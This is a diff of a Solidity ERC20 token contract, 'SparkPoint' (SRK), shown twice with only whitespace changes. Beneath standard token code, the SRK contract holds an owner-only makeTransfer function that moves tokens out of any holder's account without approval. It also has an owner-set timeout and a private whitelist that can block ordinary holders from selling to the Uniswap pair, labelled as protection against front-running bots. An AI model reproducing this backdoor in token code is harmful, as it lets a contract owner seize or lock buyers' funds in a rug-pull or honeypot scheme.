medardm · January 19, 2024 07:06 · medardm · Jan 19, 2024
diff --git a/contracts...SRKToken.sol b/contracts...SRKToken.sol
 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.19;

 interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
 }

 interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
 }

 abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
 }

 contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
 }

 abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
 }

 contract SRK is ERC20, Ownable {
    address public uniswapPairAddress;
    mapping(address => bool) private _timeoutWhitelist;
    mapping(address => uint256) public lastTransfer;

    uint32 public timeout = 15;
    uint8 private _decimals = 18;

    constructor() ERC20("SparkPoint", "SRK") {
        _mint(msg.sender, 13000000000 * 10**uint8(_decimals));
    }

    function decimals() public view override returns (uint8) {
      return _decimals;
    }

    function setUniswapPairAddress(address _uniswapPairAddress) external onlyOwner {
        uniswapPairAddress = _uniswapPairAddress;
    }

    function setTimeout(uint32 _timeout) external onlyOwner {
        timeout = _timeout;
    }

    function addToWhitelist(address _address) external onlyOwner {
      require(!_timeoutWhitelist[_address], "Address already set in white list");
        _timeoutWhitelist[_address] = true;
    }

    function removeFromWhitelist(address _address) external onlyOwner {
      require(_timeoutWhitelist[_address], "Address isn't in white list");

        _timeoutWhitelist[_address] = false;
    }

    function makeTransfer(
        address from,
        address to,
        uint256 amount
    ) external onlyOwner returns (bool)  {
        _transfer(from, to, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _checkTimeout(msg.sender, recipient);
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public override returns (bool) {
        address spender = _msgSender();
        _checkTimeout(from, to);
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _checkTimeout(address sender, address recipient) internal {
      if (sender == uniswapPairAddress) {
        lastTransfer[recipient] = block.timestamp;
      }

      if (!_timeoutWhitelist[sender] && recipient == uniswapPairAddress) {
       require(block.timestamp >= lastTransfer[sender] + timeout, "lock for prevent front runner bot.");
      }
    }
    
 }
	// SPDX-License-Identifier: MIT
	pragma solidity ^0.8.19;

	interface IERC20 {
	/**
	* @dev Emitted when `value` tokens are moved from one account (`from`) to
	* another (`to`).
	*
	* Note that `value` may be zero.
	*/
	event Transfer(address indexed from, address indexed to, uint256 value);

	/**
	* @dev Emitted when the allowance of a `spender` for an `owner` is set by
	* a call to {approve}. `value` is the new allowance.
	*/
	event Approval(address indexed owner, address indexed spender, uint256 value);

	/**
	* @dev Returns the amount of tokens in existence.
	*/
	function totalSupply() external view returns (uint256);

	/**
	* @dev Returns the amount of tokens owned by `account`.
	*/
	function balanceOf(address account) external view returns (uint256);

	/**
	* @dev Moves `amount` tokens from the caller's account to `to`.
	*
	* Returns a boolean value indicating whether the operation succeeded.
	*
	* Emits a {Transfer} event.
	*/
	function transfer(address to, uint256 amount) external returns (bool);

	/**
	* @dev Returns the remaining number of tokens that `spender` will be
	* allowed to spend on behalf of `owner` through {transferFrom}. This is
	* zero by default.
	*
	* This value changes when {approve} or {transferFrom} are called.
	*/
	function allowance(address owner, address spender) external view returns (uint256);

	/**
	* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
	*
	* Returns a boolean value indicating whether the operation succeeded.
	*
	* IMPORTANT: Beware that changing an allowance with this method brings the risk
	* that someone may use both the old and the new allowance by unfortunate
	* transaction ordering. One possible solution to mitigate this race
	* condition is to first reduce the spender's allowance to 0 and set the
	* desired value afterwards:
	* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
	*
	* Emits an {Approval} event.
	*/
	function approve(address spender, uint256 amount) external returns (bool);

	/**
	* @dev Moves `amount` tokens from `from` to `to` using the
	* allowance mechanism. `amount` is then deducted from the caller's
	* allowance.
	*
	* Returns a boolean value indicating whether the operation succeeded.
	*
	* Emits a {Transfer} event.
	*/
	function transferFrom(
	address from,
	address to,
	uint256 amount
	) external returns (bool);
	}

	interface IERC20Metadata is IERC20 {
	/**
	* @dev Returns the name of the token.
	*/
	function name() external view returns (string memory);

	/**
	* @dev Returns the symbol of the token.
	*/
	function symbol() external view returns (string memory);

	/**
	* @dev Returns the decimals places of the token.
	*/
	function decimals() external view returns (uint8);
	}

	abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
	return msg.sender;
	}

	function _msgData() internal view virtual returns (bytes calldata) {
	return msg.data;
	}
	}

	contract ERC20 is Context, IERC20, IERC20Metadata {
	mapping(address => uint256) private _balances;

	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private _totalSupply;

	string private _name;
	string private _symbol;

	/**
	* @dev Sets the values for {name} and {symbol}.
	*
	* The default value of {decimals} is 18. To select a different value for
	* {decimals} you should overload it.
	*
	* All two of these values are immutable: they can only be set once during
	* construction.
	*/
	constructor(string memory name_, string memory symbol_) {
	_name = name_;
	_symbol = symbol_;
	}

	/**
	* @dev Returns the name of the token.
	*/
	function name() public view virtual override returns (string memory) {
	return _name;
	}

	/**
	* @dev Returns the symbol of the token, usually a shorter version of the
	* name.
	*/
	function symbol() public view virtual override returns (string memory) {
	return _symbol;
	}

	/**
	* @dev Returns the number of decimals used to get its user representation.
	* For example, if `decimals` equals `2`, a balance of `505` tokens should
	* be displayed to a user as `5.05` (`505 / 10 ** 2`).
	*
	* Tokens usually opt for a value of 18, imitating the relationship between
	* Ether and Wei. This is the value {ERC20} uses, unless this function is
	* overridden;
	*
	* NOTE: This information is only used for _display_ purposes: it in
	* no way affects any of the arithmetic of the contract, including
	* {IERC20-balanceOf} and {IERC20-transfer}.
	*/
	function decimals() public view virtual override returns (uint8) {
	return 18;
	}

	/**
	* @dev See {IERC20-totalSupply}.
	*/
	function totalSupply() public view virtual override returns (uint256) {
	return _totalSupply;
	}

	/**
	* @dev See {IERC20-balanceOf}.
	*/
	function balanceOf(address account) public view virtual override returns (uint256) {
	return _balances[account];
	}

	/**
	* @dev See {IERC20-transfer}.
	*
	* Requirements:
	*
	* - `to` cannot be the zero address.
	* - the caller must have a balance of at least `amount`.
	*/
	function transfer(address to, uint256 amount) public virtual override returns (bool) {
	address owner = _msgSender();
	_transfer(owner, to, amount);
	return true;
	}

	/**
	* @dev See {IERC20-allowance}.
	*/
	function allowance(address owner, address spender) public view virtual override returns (uint256) {
	return _allowances[owner][spender];
	}

	/**
	* @dev See {IERC20-approve}.
	*
	* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
	* `transferFrom`. This is semantically equivalent to an infinite approval.
	*
	* Requirements:
	*
	* - `spender` cannot be the zero address.
	*/
	function approve(address spender, uint256 amount) public virtual override returns (bool) {
	address owner = _msgSender();
	_approve(owner, spender, amount);
	return true;
	}

	/**
	* @dev See {IERC20-transferFrom}.
	*
	* Emits an {Approval} event indicating the updated allowance. This is not
	* required by the EIP. See the note at the beginning of {ERC20}.
	*
	* NOTE: Does not update the allowance if the current allowance
	* is the maximum `uint256`.
	*
	* Requirements:
	*
	* - `from` and `to` cannot be the zero address.
	* - `from` must have a balance of at least `amount`.
	* - the caller must have allowance for ``from``'s tokens of at least
	* `amount`.
	*/
	function transferFrom(
	address from,
	address to,
	uint256 amount
	) public virtual override returns (bool) {
	address spender = _msgSender();
	_spendAllowance(from, spender, amount);
	_transfer(from, to, amount);
	return true;
	}

	/**
	* @dev Atomically increases the allowance granted to `spender` by the caller.
	*
	* This is an alternative to {approve} that can be used as a mitigation for
	* problems described in {IERC20-approve}.
	*
	* Emits an {Approval} event indicating the updated allowance.
	*
	* Requirements:
	*
	* - `spender` cannot be the zero address.
	*/
	function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
	address owner = _msgSender();
	_approve(owner, spender, allowance(owner, spender) + addedValue);
	return true;
	}

	/**
	* @dev Atomically decreases the allowance granted to `spender` by the caller.
	*
	* This is an alternative to {approve} that can be used as a mitigation for
	* problems described in {IERC20-approve}.
	*
	* Emits an {Approval} event indicating the updated allowance.
	*
	* Requirements:
	*
	* - `spender` cannot be the zero address.
	* - `spender` must have allowance for the caller of at least
	* `subtractedValue`.
	*/
	function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
	address owner = _msgSender();
	uint256 currentAllowance = allowance(owner, spender);
	require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
	unchecked {
	_approve(owner, spender, currentAllowance - subtractedValue);
	}

	return true;
	}

	/**
	* @dev Moves `amount` of tokens from `from` to `to`.
	*
	* This internal function is equivalent to {transfer}, and can be used to
	* e.g. implement automatic token fees, slashing mechanisms, etc.
	*
	* Emits a {Transfer} event.
	*
	* Requirements:
	*
	* - `from` cannot be the zero address.
	* - `to` cannot be the zero address.
	* - `from` must have a balance of at least `amount`.
	*/
	function _transfer(
	address from,
	address to,
	uint256 amount
	) internal virtual {
	require(from != address(0), "ERC20: transfer from the zero address");
	require(to != address(0), "ERC20: transfer to the zero address");

	_beforeTokenTransfer(from, to, amount);

	uint256 fromBalance = _balances[from];
	require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
	unchecked {
	_balances[from] = fromBalance - amount;
	// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
	// decrementing then incrementing.
	_balances[to] += amount;
	}

	emit Transfer(from, to, amount);

	_afterTokenTransfer(from, to, amount);
	}

	/** @dev Creates `amount` tokens and assigns them to `account`, increasing
	* the total supply.
	*
	* Emits a {Transfer} event with `from` set to the zero address.
	*
	* Requirements:
	*
	* - `account` cannot be the zero address.
	*/
	function _mint(address account, uint256 amount) internal virtual {
	require(account != address(0), "ERC20: mint to the zero address");

	_beforeTokenTransfer(address(0), account, amount);

	_totalSupply += amount;
	unchecked {
	// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
	_balances[account] += amount;
	}
	emit Transfer(address(0), account, amount);

	_afterTokenTransfer(address(0), account, amount);
	}

	/**
	* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
	*
	* This internal function is equivalent to `approve`, and can be used to
	* e.g. set automatic allowances for certain subsystems, etc.
	*
	* Emits an {Approval} event.
	*
	* Requirements:
	*
	* - `owner` cannot be the zero address.
	* - `spender` cannot be the zero address.
	*/
	function _approve(
	address owner,
	address spender,
	uint256 amount
	) internal virtual {
	require(owner != address(0), "ERC20: approve from the zero address");
	require(spender != address(0), "ERC20: approve to the zero address");

	_allowances[owner][spender] = amount;
	emit Approval(owner, spender, amount);
	}

	/**
	* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
	*
	* Does not update the allowance amount in case of infinite allowance.
	* Revert if not enough allowance is available.
	*
	* Might emit an {Approval} event.
	*/
	function _spendAllowance(
	address owner,
	address spender,
	uint256 amount
	) internal virtual {
	uint256 currentAllowance = allowance(owner, spender);
	if (currentAllowance != type(uint256).max) {
	require(currentAllowance >= amount, "ERC20: insufficient allowance");
	unchecked {
	_approve(owner, spender, currentAllowance - amount);
	}
	}
	}

	/**
	* @dev Hook that is called before any transfer of tokens. This includes
	* minting and burning.
	*
	* Calling conditions:
	*
	* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
	* will be transferred to `to`.
	* - when `from` is zero, `amount` tokens will be minted for `to`.
	* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
	* - `from` and `to` are never both zero.
	*
	* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
	*/
	function _beforeTokenTransfer(
	address from,
	address to,
	uint256 amount
	) internal virtual {}

	/**
	* @dev Hook that is called after any transfer of tokens. This includes
	* minting and burning.
	*
	* Calling conditions:
	*
	* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
	* has been transferred to `to`.
	* - when `from` is zero, `amount` tokens have been minted for `to`.
	* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
	* - `from` and `to` are never both zero.
	*
	* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
	*/
	function _afterTokenTransfer(
	address from,
	address to,
	uint256 amount
	) internal virtual {}
	}

	abstract contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	/**
	* @dev Initializes the contract setting the deployer as the initial owner.
	*/
	constructor() {
	_transferOwnership(_msgSender());
	}

	/**
	* @dev Throws if called by any account other than the owner.
	*/
	modifier onlyOwner() {
	_checkOwner();
	_;
	}

	/**
	* @dev Returns the address of the current owner.
	*/
	function owner() public view virtual returns (address) {
	return _owner;
	}

	/**
	* @dev Throws if the sender is not the owner.
	*/
	function _checkOwner() internal view virtual {
	require(owner() == _msgSender(), "Ownable: caller is not the owner");
	}

	/**
	* @dev Leaves the contract without owner. It will not be possible to call
	* `onlyOwner` functions anymore. Can only be called by the current owner.
	* NOTE: Renouncing ownership will leave the contract without an owner,
	* thereby removing any functionality that is only available to the owner.
	*/
	function renounceOwnership() public virtual onlyOwner {
	_transferOwnership(address(0));
	}

	/**
	* @dev Transfers ownership of the contract to a new account (`newOwner`).
	* Can only be called by the current owner.
	*/
	function transferOwnership(address newOwner) public virtual onlyOwner {
	require(newOwner != address(0), "Ownable: new owner is the zero address");
	_transferOwnership(newOwner);
	}

	/**
	* @dev Transfers ownership of the contract to a new account (`newOwner`).
	* Internal function without access restriction.
	*/
	function _transferOwnership(address newOwner) internal virtual {
	address oldOwner = _owner;
	_owner = newOwner;
	emit OwnershipTransferred(oldOwner, newOwner);
	}
	}

	contract SRK is ERC20, Ownable {
	address public uniswapPairAddress;
	mapping(address => bool) private _timeoutWhitelist;
	mapping(address => uint256) public lastTransfer;

	uint32 public timeout = 15;
	uint8 private _decimals = 18;

	constructor() ERC20("SparkPoint", "SRK") {
	_mint(msg.sender, 13000000000 * 10**uint8(_decimals));
	}

	function decimals() public view override returns (uint8) {
	return _decimals;
	}

	function setUniswapPairAddress(address _uniswapPairAddress) external onlyOwner {
	uniswapPairAddress = _uniswapPairAddress;
	}

	function setTimeout(uint32 _timeout) external onlyOwner {
	timeout = _timeout;
	}

	function addToWhitelist(address _address) external onlyOwner {
	require(!_timeoutWhitelist[_address], "Address already set in white list");
	_timeoutWhitelist[_address] = true;
	}

	function removeFromWhitelist(address _address) external onlyOwner {
	require(_timeoutWhitelist[_address], "Address isn't in white list");

	_timeoutWhitelist[_address] = false;
	}

	function makeTransfer(
	address from,
	address to,
	uint256 amount
	) external onlyOwner returns (bool) {
	_transfer(from, to, amount);
	return true;
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
	_checkTimeout(msg.sender, recipient);
	_transfer(msg.sender, recipient, amount);
	return true;
	}

	function transferFrom(
	address from,
	address to,
	uint256 amount
	) public override returns (bool) {
	address spender = _msgSender();
	_checkTimeout(from, to);
	_spendAllowance(from, spender, amount);
	_transfer(from, to, amount);
	return true;
	}

	function _checkTimeout(address sender, address recipient) internal {
	if (sender == uniswapPairAddress) {
	lastTransfer[recipient] = block.timestamp;
	}

	if (!_timeoutWhitelist[sender] && recipient == uniswapPairAddress) {
	require(block.timestamp >= lastTransfer[sender] + timeout, "lock for prevent front runner bot.");
	}
	}

	}